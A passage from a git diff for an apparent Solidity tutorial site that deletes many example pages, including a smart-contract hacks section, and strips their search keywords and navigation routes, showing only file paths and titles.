src/pages/defi/stable-swap-amm/StableSwap.sol delete mode 100644 src/pages/defi/stable-swap-amm/index.html.ts delete mode 100644 src/pages/defi/stable-swap-amm/index.md delete mode 100644 src/pages/defi/stable-swap-amm/index.tsx delete mode 100644 src/pages/defi/staking-rewards/StakingRewards.sol delete mode 100644 src/pages/defi/staking-rewards/index.html.ts delete mode 100644 src/pages/defi/staking-rewards/index.md delete mode 100644 src/pages/defi/staking-rewards/index.tsx delete mode 100644 src/pages/defi/uniswap-v2-add-remove-liquidity/UniswapV2Liquidity.sol delete mode 100644 src/pages/defi/uniswap-v2-add-remove-liquidity/UniswapV2LiquidityTest.sol delete mode 100644 src/pages/defi/uniswap-v2-add-remove-liquidity/index.html.ts delete mode 100644 src/pages/defi/uniswap-v2-add-remove-liquidity/index.md delete mode 100644 src/pages/defi/uniswap-v2-add-remove-liquidity/index.tsx delete mode 100644 src/pages/defi/uniswap-v2-flash-swap/UniswapV2FlashSwap.sol delete mode 100644 src/pages/defi/uniswap-v2-flash-swap/UniswapV2FlashSwapTest.sol delete mode 100644 src/pages/defi/uniswap-v2-flash-swap/index.html.ts delete mode 100644 src/pages/defi/uniswap-v2-flash-swap/index.md delete mode 100644 src/pages/defi/uniswap-v2-flash-swap/index.tsx delete mode 100644 src/pages/defi/uniswap-v2-optimal-one-sided-supply/Optimal.sol delete mode 100644 src/pages/defi/uniswap-v2-optimal-one-sided-supply/index.html.ts delete mode 100644 src/pages/defi/uniswap-v2-optimal-one-sided-supply/index.md delete mode 100644 src/pages/defi/uniswap-v2-optimal-one-sided-supply/index.tsx delete mode 100644 src/pages/defi/uniswap-v2/UniswapV2SwapExamples.sol delete mode 100644 src/pages/defi/uniswap-v2/UniswapV2SwapExamplesTest.sol delete mode 100644 src/pages/defi/uniswap-v2/index.html.ts delete mode 100644 src/pages/defi/uniswap-v2/index.md delete mode 100644 src/pages/defi/uniswap-v2/index.tsx delete mode 100644 src/pages/defi/uniswap-v3-flash-swap/UniswapV3FlashSwap.sol delete mode 100644 src/pages/defi/uniswap-v3-flash-swap/UniswapV3FlashSwapTest.sol delete mode 100644 src/pages/defi/uniswap-v3-flash-swap/index.html.ts delete mode 100644 src/pages/defi/uniswap-v3-flash-swap/index.md delete mode 100644 src/pages/defi/uniswap-v3-flash-swap/index.tsx delete mode 100644 src/pages/defi/uniswap-v3-flash/UniswapV3Flash.sol delete mode 100644 src/pages/defi/uniswap-v3-flash/UniswapV3FlashTest.sol delete mode 100644 src/pages/defi/uniswap-v3-flash/index.html.ts delete mode 100644 src/pages/defi/uniswap-v3-flash/index.md delete mode 100644 src/pages/defi/uniswap-v3-flash/index.tsx delete mode 100644 src/pages/defi/uniswap-v3-liquidity/UniswapV3Liquidity.sol delete mode 100644 src/pages/defi/uniswap-v3-liquidity/UniswapV3LiquidityTest.sol delete mode 100644 src/pages/defi/uniswap-v3-liquidity/index.html.ts delete mode 100644 src/pages/defi/uniswap-v3-liquidity/index.md delete mode 100644 src/pages/defi/uniswap-v3-liquidity/index.tsx delete mode 100644 src/pages/defi/uniswap-v3-swap/UniswapV3SwapExamples.sol delete mode 100644 src/pages/defi/uniswap-v3-swap/UniswapV3SwapExamplesTest.sol delete mode 100644 src/pages/defi/uniswap-v3-swap/index.html.ts delete mode 100644 src/pages/defi/uniswap-v3-swap/index.md delete mode 100644 src/pages/defi/uniswap-v3-swap/index.tsx delete mode 100644 src/pages/defi/vault/Vault.sol delete mode 100644 src/pages/defi/vault/index.html.ts delete mode 100644 src/pages/defi/vault/index.md delete mode 100644 src/pages/defi/vault/index.tsx delete mode 100644 src/pages/delegatecall/Delegatecall.sol delete mode 100644 src/pages/delegatecall/index.html.ts delete mode 100644 src/pages/delegatecall/index.md delete mode 100644 src/pages/delegatecall/index.tsx delete mode 100644 src/pages/enum/Enum.sol delete mode 100644 src/pages/enum/EnumDeclaration.sol delete mode 100644 src/pages/enum/EnumImport.sol delete mode 100644 src/pages/enum/index.html.ts delete mode 100644 src/pages/enum/index.md delete mode 100644 src/pages/enum/index.tsx delete mode 100644 src/pages/error/Account.sol delete mode 100644 src/pages/error/Error.sol delete mode 100644 src/pages/error/index.html.ts delete mode 100644 src/pages/error/index.md delete mode 100644 src/pages/error/index.tsx delete mode 100644 src/pages/ether-units/EtherUnits.sol delete mode 100644 src/pages/ether-units/index.html.ts delete mode 100644 src/pages/ether-units/index.md delete mode 100644 src/pages/ether-units/index.tsx delete mode 100644 src/pages/events/Events.sol delete mode 100644 src/pages/events/index.html.ts delete mode 100644 src/pages/events/index.md delete mode 100644 src/pages/events/index.tsx delete mode 100644 src/pages/fallback/Fallback.sol delete mode 100644 src/pages/fallback/FallbackInputOutput.sol delete mode 100644 src/pages/fallback/index.html.ts delete mode 100644 src/pages/fallback/index.md delete mode 100644 src/pages/fallback/index.tsx delete mode 100644 src/pages/first-app/Counter.sol delete mode 100644 src/pages/first-app/index.html.ts delete mode 100644 src/pages/first-app/index.md delete mode 100644 src/pages/first-app/index.tsx delete mode 100644 src/pages/function-modifier/FunctionModifier.sol delete mode 100644 src/pages/function-modifier/index.html.ts delete mode 100644 src/pages/function-modifier/index.md delete mode 100644 src/pages/function-modifier/index.tsx delete mode 100644 src/pages/function-selector/FunctionSelector.sol delete mode 100644 src/pages/function-selector/index.html.ts delete mode 100644 src/pages/function-selector/index.md delete mode 100644 src/pages/function-selector/index.tsx delete mode 100644 src/pages/function/Function.sol delete mode 100644 src/pages/function/index.html.ts delete mode 100644 src/pages/function/index.md delete mode 100644 src/pages/function/index.tsx delete mode 100644 src/pages/gas-golf/GasGolf.sol delete mode 100644 src/pages/gas-golf/index.html.ts delete mode 100644 src/pages/gas-golf/index.md delete mode 100644 src/pages/gas-golf/index.tsx delete mode 100644 src/pages/gas/Gas.sol delete mode 100644 src/pages/gas/index.html.ts delete mode 100644 src/pages/gas/index.md delete mode 100644 src/pages/gas/index.tsx delete mode 100644 src/pages/hacks/accessing-private-data/Vault.sol delete mode 100644 src/pages/hacks/accessing-private-data/index.html.ts delete mode 100644 src/pages/hacks/accessing-private-data/index.md delete mode 100644 src/pages/hacks/accessing-private-data/index.tsx delete mode 100644 src/pages/hacks/block-timestamp-manipulation/BlockTimestamp.sol delete mode 100644 src/pages/hacks/block-timestamp-manipulation/index.html.ts delete mode 100644 src/pages/hacks/block-timestamp-manipulation/index.md delete mode 100644 src/pages/hacks/block-timestamp-manipulation/index.tsx delete mode 100644 src/pages/hacks/contract-size/ContractSize.sol delete mode 100644 src/pages/hacks/contract-size/index.html.ts delete mode 100644 src/pages/hacks/contract-size/index.md delete mode 100644 src/pages/hacks/contract-size/index.tsx delete mode 100644 src/pages/hacks/delegatecall/Delegatecall_1.sol delete mode 100644 src/pages/hacks/delegatecall/Delegatecall_2.sol delete mode 100644 src/pages/hacks/delegatecall/index.html.ts delete mode 100644 src/pages/hacks/delegatecall/index.md delete mode 100644 src/pages/hacks/delegatecall/index.tsx delete mode 100644 src/pages/hacks/denial-of-service/DenialOfService.sol delete mode 100644 src/pages/hacks/denial-of-service/PreventDenialOfService.sol delete mode 100644 src/pages/hacks/denial-of-service/index.html.ts delete mode 100644 src/pages/hacks/denial-of-service/index.md delete mode 100644 src/pages/hacks/denial-of-service/index.tsx delete mode 100644 src/pages/hacks/deploy-different-contracts-same-address/TornadoHack.sol delete mode 100644 src/pages/hacks/deploy-different-contracts-same-address/index.html.ts delete mode 100644 src/pages/hacks/deploy-different-contracts-same-address/index.md delete mode 100644 src/pages/hacks/deploy-different-contracts-same-address/index.tsx delete mode 100644 src/pages/hacks/front-running/FrontRunning.sol delete mode 100644 src/pages/hacks/front-running/PreventFrontRunning.sol delete mode 100644 src/pages/hacks/front-running/index.html.ts delete mode 100644 src/pages/hacks/front-running/index.md delete mode 100644 src/pages/hacks/front-running/index.tsx delete mode 100644 src/pages/hacks/hiding-malicious-code-with-external-contract/ExternalContract.sol delete mode 100644 src/pages/hacks/hiding-malicious-code-with-external-contract/index.html.ts delete mode 100644 src/pages/hacks/hiding-malicious-code-with-external-contract/index.md delete mode 100644 src/pages/hacks/hiding-malicious-code-with-external-contract/index.tsx delete mode 100644 src/pages/hacks/honeypot/HoneyPot.sol delete mode 100644 src/pages/hacks/honeypot/index.html.ts delete mode 100644 src/pages/hacks/honeypot/index.md delete mode 100644 src/pages/hacks/honeypot/index.tsx delete mode 100644 src/pages/hacks/overflow/Overflow.sol delete mode 100644 src/pages/hacks/overflow/index.html.ts delete mode 100644 src/pages/hacks/overflow/index.md delete mode 100644 src/pages/hacks/overflow/index.tsx delete mode 100644 src/pages/hacks/phishing-with-tx-origin/TxOrigin.sol delete mode 100644 src/pages/hacks/phishing-with-tx-origin/index.html.ts delete mode 100644 src/pages/hacks/phishing-with-tx-origin/index.md delete mode 100644 src/pages/hacks/phishing-with-tx-origin/index.tsx delete mode 100644 src/pages/hacks/randomness/Randomness.sol delete mode 100644 src/pages/hacks/randomness/index.html.ts delete mode 100644 src/pages/hacks/randomness/index.md delete mode 100644 src/pages/hacks/randomness/index.tsx delete mode 100644 src/pages/hacks/re-entrancy/ReEntrancy.sol delete mode 100644 src/pages/hacks/re-entrancy/ReEntrancyGuard.sol delete mode 100644 src/pages/hacks/re-entrancy/index.html.ts delete mode 100644 src/pages/hacks/re-entrancy/index.md delete mode 100644 src/pages/hacks/re-entrancy/index.tsx delete mode 100644 src/pages/hacks/self-destruct/ForceEther.sol delete mode 100644 src/pages/hacks/self-destruct/PreventForceEther.sol delete mode 100644 src/pages/hacks/self-destruct/index.html.ts delete mode 100644 src/pages/hacks/self-destruct/index.md delete mode 100644 src/pages/hacks/self-destruct/index.tsx delete mode 100644 src/pages/hacks/signature-replay/PreventSigReplay.sol delete mode 100644 src/pages/hacks/signature-replay/SigReplay.sol delete mode 100644 src/pages/hacks/signature-replay/index.html.ts delete mode 100644 src/pages/hacks/signature-replay/index.md delete mode 100644 src/pages/hacks/signature-replay/index.tsx delete mode 100644 src/pages/hashing/Keccak256.sol delete mode 100644 src/pages/hashing/index.html.ts delete mode 100644 src/pages/hashing/index.md delete mode 100644 src/pages/hashing/index.tsx delete mode 100644 src/pages/hello-world/HelloWorld.sol delete mode 100644 src/pages/hello-world/index.html.ts delete mode 100644 src/pages/hello-world/index.md delete mode 100644 src/pages/hello-world/index.tsx delete mode 100644 src/pages/if-else/IfElse.sol delete mode 100644 src/pages/if-else/index.html.ts delete mode 100644 src/pages/if-else/index.md delete mode 100644 src/pages/if-else/index.tsx delete mode 100644 src/pages/immutable/Immutable.sol delete mode 100644 src/pages/immutable/index.html.ts delete mode 100644 src/pages/immutable/index.md delete mode 100644 src/pages/immutable/index.tsx delete mode 100644 src/pages/import/Foo.sol delete mode 100644 src/pages/import/Import.sol delete mode 100644 src/pages/import/index.html.ts delete mode 100644 src/pages/import/index.md delete mode 100644 src/pages/import/index.tsx delete mode 100644 src/pages/inheritance/Inheritance.sol delete mode 100644 src/pages/inheritance/index.html.ts delete mode 100644 src/pages/inheritance/index.md delete mode 100644 src/pages/inheritance/index.tsx delete mode 100644 src/pages/interface/Interface.sol delete mode 100644 src/pages/interface/index.html.ts delete mode 100644 src/pages/interface/index.md delete mode 100644 src/pages/interface/index.tsx delete mode 100644 src/pages/library/Library.sol delete mode 100644 src/pages/library/index.html.ts delete mode 100644 src/pages/library/index.md delete mode 100644 src/pages/library/index.tsx delete mode 100644 src/pages/loop/Loop.sol delete mode 100644 src/pages/loop/index.html.ts delete mode 100644 src/pages/loop/index.md delete mode 100644 src/pages/loop/index.tsx delete mode 100644 src/pages/mapping/Mapping.sol delete mode 100644 src/pages/mapping/index.html.ts delete mode 100644 src/pages/mapping/index.md delete mode 100644 src/pages/mapping/index.tsx delete mode 100644 src/pages/new-contract/NewContract.sol delete mode 100644 src/pages/new-contract/index.html.ts delete mode 100644 src/pages/new-contract/index.md delete mode 100644 src/pages/new-contract/index.tsx delete mode 100644 src/pages/payable/Payable.sol delete mode 100644 src/pages/payable/index.html.ts delete mode 100644 src/pages/payable/index.md delete mode 100644 src/pages/payable/index.tsx delete mode 100644 src/pages/primitives/Primitives.sol delete mode 100644 src/pages/primitives/index.html.ts delete mode 100644 src/pages/primitives/index.md delete mode 100644 src/pages/primitives/index.tsx delete mode 100644 src/pages/sending-ether/SendingEther.sol delete mode 100644 src/pages/sending-ether/index.html.ts delete mode 100644 src/pages/sending-ether/index.md delete mode 100644 src/pages/sending-ether/index.tsx delete mode 100644 src/pages/shadowing-inherited-state-variables/Shadow.sol delete mode 100644 src/pages/shadowing-inherited-state-variables/index.html.ts delete mode 100644 src/pages/shadowing-inherited-state-variables/index.md delete mode 100644 src/pages/shadowing-inherited-state-variables/index.tsx delete mode 100644 src/pages/signature/Signature.sol delete mode 100644 src/pages/signature/index.html.ts delete mode 100644 src/pages/signature/index.md delete mode 100644 src/pages/signature/index.tsx delete mode 100644 src/pages/state-variables/SimpleStorage.sol delete mode 100644 src/pages/state-variables/index.html.ts delete mode 100644 src/pages/state-variables/index.md delete mode 100644 src/pages/state-variables/index.tsx delete mode 100644 src/pages/structs/StructDeclaration.sol delete mode 100644 src/pages/structs/StructImport.sol delete mode 100644 src/pages/structs/Structs.sol delete mode 100644 src/pages/structs/index.html.ts delete mode 100644 src/pages/structs/index.md delete mode 100644 src/pages/structs/index.tsx delete mode 100644 src/pages/super/Super.sol delete mode 100644 src/pages/super/index.html.ts delete mode 100644 src/pages/super/index.md delete mode 100644 src/pages/super/index.tsx delete mode 100644 src/pages/tests/echidna/EchidnaTestTimeAndCaller.sol delete mode 100644 src/pages/tests/echidna/TestEchidna.sol delete mode 100644 src/pages/tests/echidna/index.html.ts delete mode 100644 src/pages/tests/echidna/index.md delete mode 100644 src/pages/tests/echidna/index.tsx delete mode 100644 src/pages/try-catch/TryCatch.sol delete mode 100644 src/pages/try-catch/index.html.ts delete mode 100644 src/pages/try-catch/index.md delete mode 100644 src/pages/try-catch/index.tsx delete mode 100644 src/pages/unchecked-math/UncheckedMath.sol delete mode 100644 src/pages/unchecked-math/index.html.ts delete mode 100644 src/pages/unchecked-math/index.md delete mode 100644 src/pages/unchecked-math/index.tsx delete mode 100644 src/pages/variables/Variables.sol delete mode 100644 src/pages/variables/index.html.ts delete mode 100644 src/pages/variables/index.md delete mode 100644 src/pages/variables/index.tsx delete mode 100644 src/pages/view-and-pure-functions/ViewAndPureFunctions.sol delete mode 100644 src/pages/view-and-pure-functions/index.html.ts delete mode 100644 src/pages/view-and-pure-functions/index.md delete mode 100644 src/pages/view-and-pure-functions/index.tsx delete mode 100644 src/pages/visibility/Visibility.sol delete mode 100644 src/pages/visibility/index.html.ts delete mode 100644 src/pages/visibility/index.md delete mode 100644 src/pages/visibility/index.tsx diff --git a/src/keywords.json b/src/keywords.json index a833abdce..00fe05669 100644 --- a/src/keywords.json +++ b/src/keywords.json @@ -1,158 +1,9 @@ { - "/visibility": [ - "visibility", - "function", - "functions", - "internal", - "private", - "public", - "external" - ], - "/view-and-pure-functions": [ - "view", - "pure", - "function", - "functions" - ], - "/variables": [ - "variable", - "variables", - "local", - "global", - "state", - "data" - ], - "/unchecked-math": [ - "gas", - "unchecked", - "math", - "overflow", - "underflow" - ], - "/try-catch": [ - "try", - "catch", - "error", - "errors" - ], - "/tests/echidna": [ - "test", - "echidna" - ], "/swap": [ "swap", "trade", "swapping" ], - "/super": [ - "calling", - "parent", - "contract", - "contracts", - "inheritance", - "super" - ], - "/structs": [ - "struct", - "structs", - "data", - "type", - "types", - "variable", - "variables" - ], - "/state-variables": [ - "reading", - "writing", - "state", - "variable", - "variables", - "app", - "application" - ], - "/signature": [ - "cryptography", - "verify", - "verifying", - "signature", - "signatures", - "ecrecover" - ], - "/shadowing-inherited-state-variables": [ - "state", - "variables", - "variable", - "shadow", - "shadowing", - "inheritance" - ], - "/sending-ether": [ - "sending", - "send", - "ether", - "eth", - "transfer", - "send", - "call", - "fallback", - "receive", - "payable", - "function", - "functions" - ], - "/primitives": [ - "primitive", - "primitives", - "data", - "type", - "types", - "variable", - "variables", - "boolean", - "uint256", - "int256", - "address", - "uint", - "int" - ], - "/payable": [ - "payable", - "eth", - "send", - "ether" - ], - "/new-contract": [ - "new", - "contract", - "create", - "contracts", - "creates", - "new", - "create2", - "salt" - ], - "/mapping": [ - "data", - "variable", - "variables", - "mapping" - ], - "/loop": [ - "for", - "loop", - "loops", - "while", - "do" - ], - "/library": [ - "library" - ], - "/interface": [ - "interface", - "interfaces", - "contract", - "contracts" - ], "/initialize": [ "pool", "initialize", @@ -161,610 +12,10 @@ "pair", "factory" ], - "/inheritance": [ - "inheritance", - "super", - "override", - "virtual", - "is", - "contract", - "contracts" - ], - "/import": [ - "import" - ], - "/immutable": [ - "constant", - "constants", - "immutable", - "immutables", - "data", - "variable", - "variables" - ], - "/if-else": [ - "if", - "else", - "conditional", - "statement", - "statements" - ], - "/hello-world": [ - "contract", - "app", - "application", - "hello", - "world" - ], - "/hashing": [ - "hash", - "hashing", - "function", - "functions", - "keccak256", - "cryptography" - ], - "/hacks/signature-replay": [ - "hack", - "security", - "cryptography", - "signature", - "replay" - ], - "/hacks/self-destruct": [ - "hack", - "security", - "selfdestruct" - ], - "/hacks/re-entrancy": [ - "hack", - "security", - "re-entrancy" - ], - "/hacks/randomness": [ - "hack", - "security", - "source", - "random", - "randomness", - "blockhash", - "block", - "timestamp" - ], - "/hacks/phishing-with-tx-origin": [ - "hack", - "security", - "phishing", - "tx.origin" - ], - "/hacks/overflow": [ - "hack", - "security", - "arithmetic", - "overflow", - "underflow" - ], - "/hacks/honeypot": [ - "hack", - "security", - "honeypot" - ], - "/hacks/hiding-malicious-code-with-external-contract": [ - "hack", - "security", - "hide", - "hiding", - "malicious", - "code", - "external", - "contract" - ], - "/hacks/front-running": [ - "hack", - "security", - "front", - "running" - ], - "/hacks/deploy-different-contracts-same-address": [ - "hack", - "security", - "deploy", - "salt", - "create", - "create2", - "different", - "contract", - "same", - "address" - ], - "/hacks/denial-of-service": [ - "hack", - "security", - "denial", - "service" - ], - "/hacks/delegatecall": [ - "hack", - "security", - "delegatecall" - ], - "/hacks/contract-size": [ - "hack", - "security", - "bypass", - "contract", - "size", - "check", - "extcodesize" - ], - "/hacks/block-timestamp-manipulation": [ - "hack", - "security", - "block", - "timestamp", - "manipulation" - ], - "/hacks/accessing-private-data": [ - "hack", - "security", - "access", - "accessing", - "private", - "data", - "storage" - ], - "/gas-golf": [ - "gas", - "golf" - ], - "/gas": [ - "gas" - ], - "/function-selector": [ - "function", - "functions", - "selector", - "selectors" - ], - "/function-modifier": [ - "function", - "functions", - "modifier", - "modifiers", - "_" - ], - "/function": [ - "function", - "functions" - ], - "/first-app": [ - "contract", - "contracts", - "app", - "first", - "application", - "counter" - ], - "/fallback": [ - "fallback", - "function", - "functions", - "receive", - "payable", - "send", - "ether", - "eth", - "transfer" - ], - "/events": [ - "event", - "events" - ], - "/ether-units": [ - "data", - "variables", - "variable", - "ether", - "wei", - "units" - ], - "/error": [ - "error", - "errors", - "require", - "revert", - "assert" - ], - "/enum": [ - "data", - "variable", - "variables", - "enum", - "import", - "imports" - ], - "/delegatecall": [ - "delegatecall", - "call", - "contract", - "contracts", - "function", - "functions" - ], - "/defi/vault": [ - "defi", - "vault" - ], - "/defi/uniswap-v3-swap": [ - "defi", - "uniswap", - "v3", - "swap", - "amm" - ], - "/defi/uniswap-v3-liquidity": [ - "defi", - "uniswap", - "v3", - "liquidity", - "amm" - ], - "/defi/uniswap-v3-flash-swap": [ - "defi", - "uniswap", - "v3", - "swap", - "arbitrage", - "amm" - ], - "/defi/uniswap-v3-flash": [ - "defi", - "uniswap", - "v3", - "flash", - "loan", - "amm" - ], - "/defi/uniswap-v2-optimal-one-sided-supply": [ - "defi", - "uniswap", - "v2", - "optimal", - "one", - "sided", - "supply", - "amm" - ], - "/defi/uniswap-v2-flash-swap": [ - "defi", - "uniswap", - "v2", - "flash", - "swap", - "amm" - ], - "/defi/uniswap-v2-add-remove-liquidity": [ - "defi", - "uniswap", - "v2", - "add", - "remove", - "liquidity", - "amm" - ], - "/defi/uniswap-v2": [ - "defi", - "uniswap", - "v2", - "swap", - "amm" - ], - "/defi/staking-rewards": [ - "defi", - "staking", - "reward", - "rewards" - ], - "/defi/stable-swap-amm": [ - "defi", - "curve", - "stable", - "swap", - "amm" - ], - "/defi/discrete-staking-rewards": [ - "defi", - "discrete", - "staking", - "reward", - "rewards" - ], - "/defi/constant-sum-amm": [ - "defi", - "constant", - "sum", - "amm" - ], - "/defi/constant-product-amm": [ - "defi", - "constant", - "product", - "amm" - ], - "/defi/chainlink-price-oracle": [ - "defi", - "chainlink", - "price", - "oracle", - "oracles" - ], - "/data-locations": [ - "data", - "location", - "locations", - "storage", - "memory", - "calldata" - ], "/create-liquidity": [ "liquidity", "LP", "provision", "supply" - ], - "/constructor": [ - "constructor", - "constructors", - "contract", - "inheritance" - ], - "/constants": [ - "constant", - "constants", - "data", - "variable", - "variables" - ], - "/calling-contract": [ - "calling", - "other", - "contract", - "contracts", - "call", - "function", - "functions" - ], - "/call": [ - "contract", - "contracts", - "call", - "function", - "functions" - ], - "/bitwise": [ - "bitwise", - "most", - "significant", - "bit", - "assembly" - ], - "/assembly-variable": [ - "assembly", - "variable", - "yul" - ], - "/assembly-math": [ - "assembly", - "yul", - "math", - "add", - "mul" - ], - "/assembly-loop": [ - "assembly", - "loop", - "yul", - "while", - "for" - ], - "/assembly-if": [ - "assembly", - "yul", - "if", - "switch" - ], - "/assembly-error": [ - "assembly", - "yul", - "error", - "revert" - ], - "/array": [ - "data", - "variable", - "variables", - "array", - "arrays" - ], - "/app/write-to-any-slot": [ - "app", - "application", - "write", - "any", - "slot", - "storage" - ], - "/app/upgradeable-proxy": [ - "app", - "application", - "delegatecall", - "upgradeable", - "proxy" - ], - "/app/uni-directional-payment-channel": [ - "app", - "application", - "uni-directional", - "payment", - "channel", - "signature", - "cryptography" - ], - "/app/time-lock": [ - "app", - "application", - "time", - "lock" - ], - "/app/simple-bytecode-contract": [ - "app", - "application", - "simple", - "bytecode", - "contract" - ], - "/app/multi-sig-wallet": [ - "app", - "application", - "multi", - "sig", - "signature", - "wallet" - ], - "/app/multi-delegatecall": [ - "app", - "application", - "multi", - "delegatecall" - ], - "/app/multi-call": [ - "app", - "application", - "multi", - "call", - "staticcall" - ], - "/app/minimal-proxy": [ - "app", - "application", - "minimal", - "proxy", - "contract" - ], - "/app/merkle-tree": [ - "app", - "application", - "merkle", - "tree", - "cryptography" - ], - "/app/iterable-mapping": [ - "app", - "application", - "mapping", - "data", - "iterable" - ], - "/app/gasless-token-transfer": [ - "app", - "application", - "gasless", - "token", - "transfer", - "ERC20", - "permit" - ], - "/app/ether-wallet": [ - "app", - "application", - "ether", - "eth", - "wallet" - ], - "/app/erc721": [ - "app", - "application", - "erc721", - "ierc721", - "nft" - ], - "/app/erc20": [ - "app", - "application", - "erc20", - "ierc20", - "token" - ], - "/app/erc1155": [ - "app", - "application", - "erc1155", - "nft", - "ierc1155" - ], - "/app/english-auction": [ - "app", - "application", - "english", - "auction", - "auctions" - ], - "/app/dutch-auction": [ - "app", - "application", - "dutch", - "auction", - "auctions" - ], - "/app/deploy-any-contract": [ - "app", - "application", - "deploy", - "any", - "contract" - ], - "/app/crowd-fund": [ - "app", - "application", - "crowd", - "fund", - "funding" - ], - "/app/create2": [ - "app", - "application", - "create2", - "precompute", - "contract", - "address" - ], - "/app/bi-directional-payment-channel": [ - "app", - "application", - "bi-directional", - "payment", - "channel", - "signature", - "cryptography" - ], - "/app/assembly-bin-exp": [ - "assembly", - "yul", - "binary", - "exponentiation", - "math" - ], - "/abi-encode": [ - "abi", - "encode", - "bytes", - "encodeWithSelector", - "encodeWithSignature", - "encodeCall" - ], - "/abi-decode": [ - "abi", - "decode", - "bytes" ] } \ No newline at end of file diff --git a/src/nav.ts b/src/nav.ts index ccbcb1e09..cc679652c 100644 --- a/src/nav.ts +++ b/src/nav.ts @@ -9,18 +9,7 @@ export interface Translation { } export const TRANSLATIONS: Translation[] = [ - { - lang: "Simplified Chinese", - url: "https://github.com/Web3-Club/solidity-by-example_Chinese", - }, - { - lang: "Persian", - url: "https://dpanosian.com/fa/solidity-by-example", - }, - { - lang: "Spanish", - url: "https://github.com/lcadafalch/solidity_attacks", - }, + ] export const SOL_ROUTES: Route[] = [ @@ -36,444 +25,18 @@ export const SOL_ROUTES: Route[] = [ path: "swap", title: "Swap" }, - { - path: "hello-world", - title: "Hello World", - }, - { - path: "first-app", - title: "First App", - }, - { - path: "primitives", - title: "Primitive Data Types", - }, - { - path: "variables", - title: "Variables", - }, - { - path: "constants", - title: "Constants", - }, - { - path: "immutable", - title: "Immutable", - }, - { - path: "state-variables", - title: "Reading and Writing to a State Variable", - }, - { - path: "ether-units", - title: "Ether and Wei", - }, - { - path: "gas", - title: "Gas and Gas Price", - }, - // Flow control - { - path: "if-else", - title: "If / Else", - }, - { - path: "loop", - title: "For and While Loop", - }, - // collection data types - { - path: "mapping", - title: "Mapping", - }, - { - path: "array", - title: "Array", - }, - // custom data types - { - path: "enum", - title: "Enum", - }, - { - path: "structs", - title: "Structs", - }, - { - path: "data-locations", - title: "Data Locations - Storage, Memory and Calldata", - }, - // function - { - path: "function", - title: "Function", - }, - { - path: "view-and-pure-functions", - title: "View and Pure Functions", - }, - { - path: "error", - title: "Error", - }, - { - path: "function-modifier", - title: "Function Modifier", - }, - { - path: "events", - title: "Events", - }, - // inheritance - { - path: "constructor", - title: "Constructor", - }, - { - path: "inheritance", - title: "Inheritance", - }, - { - path: "shadowing-inherited-state-variables", - title: "Shadowing Inherited State Variables", - }, - { - path: "super", - title: "Calling Parent Contracts", - }, - { - path: "visibility", - title: "Visibility", - }, - { - path: "interface", - title: "Interface", - }, - // send / receive ether - { - path: "payable", - title: "Payable", - }, - { - path: "sending-ether", - title: "Sending Ether - Transfer, Send, and Call", - }, - { - path: "fallback", - title: "Fallback", - }, - // contract interaction - { - path: "call", - title: "Call", - }, - { - path: "delegatecall", - title: "Delegatecall", - }, - { - path: "function-selector", - title: "Function Selector", - }, - - { - path: "calling-contract", - title: "Calling Other Contract", - }, - { - path: "new-contract", - title: "Creating Contracts from a Contract", - }, - // misc - { - path: "try-catch", - title: "Try / Catch", - }, - { - path: "import", - title: "Import", - }, - { - path: "library", - title: "Library", - }, - { - path: "abi-encode", - title: "ABI Encode", - }, - { - path: "abi-decode", - title: "ABI Decode", - }, - // crypto - { - path: "hashing", - title: "Hashing with Keccak256", - }, - { - path: "signature", - title: "Verifying Signature", - }, - { - path: "gas-golf", - title: "Gas Optimizations", - }, - { - path: "bitwise", - title: "Bitwise Operators", - }, - { - path: "unchecked-math", - title: "Unchecked Math", - }, - { - path: "assembly-variable", - title: "Assembly Variable", - }, - { - path: "assembly-if", - title: "Assembly Conditional Statements", - }, - { - path: "assembly-loop", - title: "Assembly Loop", - }, - { - path: "assembly-error", - title: "Assembly Error", - }, - { - path: "assembly-math", - title: "Assembly Math", - }, ] export const APP_ROUTES: Route[] = [ - { - path: "ether-wallet", - title: "Ether Wallet", - }, - { - path: "multi-sig-wallet", - title: "Multi Sig Wallet", - }, - { - path: "merkle-tree", - title: "Merkle Tree", - }, - { - path: "iterable-mapping", - title: "Iterable Mapping", - }, - { - path: "erc20", - title: "ERC20", - }, - { - path: "erc721", - title: "ERC721", - }, - { - path: "erc1155", - title: "ERC1155", - }, - { - path: "gasless-token-transfer", - title: "Gasless Token Transfer", - }, - { - path: "simple-bytecode-contract", - title: "Simple Bytecode Contract", - }, - { - path: "create2", - title: "Precompute Contract Address with Create2", - }, - { - path: "minimal-proxy", - title: "Minimal Proxy Contract", - }, - { - path: "upgradeable-proxy", - title: "Upgradeable Proxy", - }, - { - path: "deploy-any-contract", - title: "Deploy Any Contract", - }, - { - path: "write-to-any-slot", - title: "Write to Any Slot", - }, - { - path: "uni-directional-payment-channel", - title: "Uni-directional Payment Channel", - }, - { - path: "bi-directional-payment-channel", - title: "Bi-directional Payment Channel", - }, - { - path: "english-auction", - title: "English Auction", - }, - { - path: "dutch-auction", - title: "Dutch Auction", - }, - { - path: "crowd-fund", - title: "Crowd Fund", - }, - { - path: "multi-call", - title: "Multi Call", - }, - { - path: "multi-delegatecall", - title: "Multi Delegatecall", - }, - { - path: "time-lock", - title: "Time Lock", - }, - { - path: "assembly-bin-exp", - title: "Assembly Binary Exponentiation", - }, ] const HACK_ROUTES: Route[] = [ - { - path: "re-entrancy", - title: "Re-Entrancy", - }, - { - path: "overflow", - title: "Arithmetic Overflow and Underflow", - }, - { - path: "self-destruct", - title: "Self Destruct", - }, - { - path: "accessing-private-data", - title: "Accessing Private Data", - }, - { - path: "delegatecall", - title: "Delegatecall", - }, - { - path: "randomness", - title: "Source of Randomness", - }, - { - path: "denial-of-service", - title: "Denial of Service", - }, - { - path: "phishing-with-tx-origin", - title: "Phishing with tx.origin", - }, - { - path: "hiding-malicious-code-with-external-contract", - title: "Hiding Malicious Code with External Contract", - }, - { - path: "honeypot", - title: "Honeypot", - }, - { - path: "front-running", - title: "Front Running", - }, - { - path: "block-timestamp-manipulation", - title: "Block Timestamp Manipulation", - }, - { - path: "signature-replay", - title: "Signature Replay", - }, - { - path: "contract-size", - title: "Bypass Contract Size Check", - }, - { - path: "deploy-different-contracts-same-address", - title: "Deploy Different Contracts at Same Address", - }, ] export const TEST_ROUTES: Route[] = [ - { - path: "echidna", - title: "Echidna", - }, ] export const DEFI_ROUTES = [ - { - path: "uniswap-v2", - title: "Uniswap V2 Swap", - }, - { - path: "uniswap-v2-add-remove-liquidity", - title: "Uniswap V2 Add Remove Liquidity", - }, - { - path: "uniswap-v2-optimal-one-sided-supply", - title: "Uniswap 